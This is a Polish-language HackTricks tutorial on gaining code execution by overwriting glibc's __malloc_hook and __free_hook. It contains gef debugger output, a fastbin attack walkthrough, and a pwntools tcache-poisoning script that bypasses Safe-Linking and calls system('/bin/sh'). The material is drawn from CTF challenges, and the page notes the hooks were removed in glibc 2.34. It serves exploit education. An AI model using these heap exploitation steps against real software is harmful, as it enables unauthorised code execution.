WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Malloc Hook
Jak można zobaczyć na oficjalnej stronie GNU, zmienna __malloc_hook
jest wskaźnikiem wskazującym na adres funkcji, która będzie wywoływana za każdym razem, gdy wywoływana jest malloc()
, przechowywana w sekcji danych biblioteki libc. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez One Gadget, a malloc
zostanie wywołane, One Gadget zostanie wywołany.
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że
libc` wywołuje malloc, aby je alokować w stercie.
Więcej informacji o One Gadget w:
warning
Zauważ, że haki są wyłączone dla GLIBC >= 2.34. Istnieją inne techniki, które można zastosować w nowoczesnych wersjach GLIBC. Zobacz: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
To zostało nadużyte w jednym z przykładów na stronie, nadużywając ataku na szybki bin po nadużyciu ataku na niesortowany bin:
Możliwe jest znalezienie adresu __free_hook
, jeśli binarka ma symbole, używając następującego polecenia:
gef➤ p &__free_hook
W poście znajdziesz przewodnik krok po kroku, jak zlokalizować adres hooka zwolnienia bez symboli. W skrócie, w funkcji free:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
W wspomnianym punkcie przerwania w powyższym kodzie w $eax
znajdować się będzie adres hooka zwolnienia.
Teraz przeprowadzany jest atak na szybkie biny:
- Po pierwsze odkryto, że możliwe jest operowanie na szybkich chunkach o rozmiarze 200 w lokalizacji
__free_hook
: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
- W tym celu tworzony jest nowy chunk o rozmiarze
0xfc
, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze0xfc*2 = 0x1f8
w szybkim binie. - Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres
fd
tego szybkiego bina, aby wskazywał na poprzednią funkcję__free_hook
. - Następnie tworzony jest chunk o rozmiarze
0x1f8
, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze0x1f8
, aby uzyskać szybki chunk w__free_hook
, który jest nadpisywany adresem funkcjisystem
. - A na koniec chunk zawierający ciąg
/bin/sh\x00
jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję__free_hook
, która wskazuje na system z/bin/sh\x00
jako parametrem.
Zatrucie Tcache & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 wprowadził Safe-Linking – kontrolę integralności, która chroni pojedynczo powiązane listy używane przez tcache i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (fd
), ptmalloc teraz przechowuje go z obfuskacją za pomocą następującego makra:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Konsekwencje dla eksploatacji:
- heap leak jest obowiązkowy – atakujący musi znać wartość czasu wykonywania
chunk_addr >> 12
, aby stworzyć ważny zafałszowany wskaźnik. - Tylko pełny 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia.
Minimalny prymityw tcache-poisoning, który nadpisuje __free_hook
w glibc 2.32/2.33, wygląda zatem następująco:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak UIUCTF 2024 – «Rusty Pointers» i openECSC 2023 – «Babyheap G», które polegały na obejściach Safe-Linking w celu nadpisania __free_hook
.
Co zmieniło się w glibc ≥ 2.34?
Począwszy od glibc 2.34 (sierpień 2021), haki alokacji __malloc_hook
, __realloc_hook
, __memalign_hook
i __free_hook
zostały usunięte z publicznego API i nie są już wywoływane przez alokator. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na przepływ sterowania malloc()
lub free()
.
Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do innych prymitywów przejęcia (IO-FILE, __run_exit_handlers
, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić.
Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza libc_malloc_debug.so
, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach.
Referencje
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminacja 20-letniego prymitywu exploita malloc() (Check Point Research, 2020)
- Notatki z wydania glibc 2.34 – usunięcie haków malloc
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.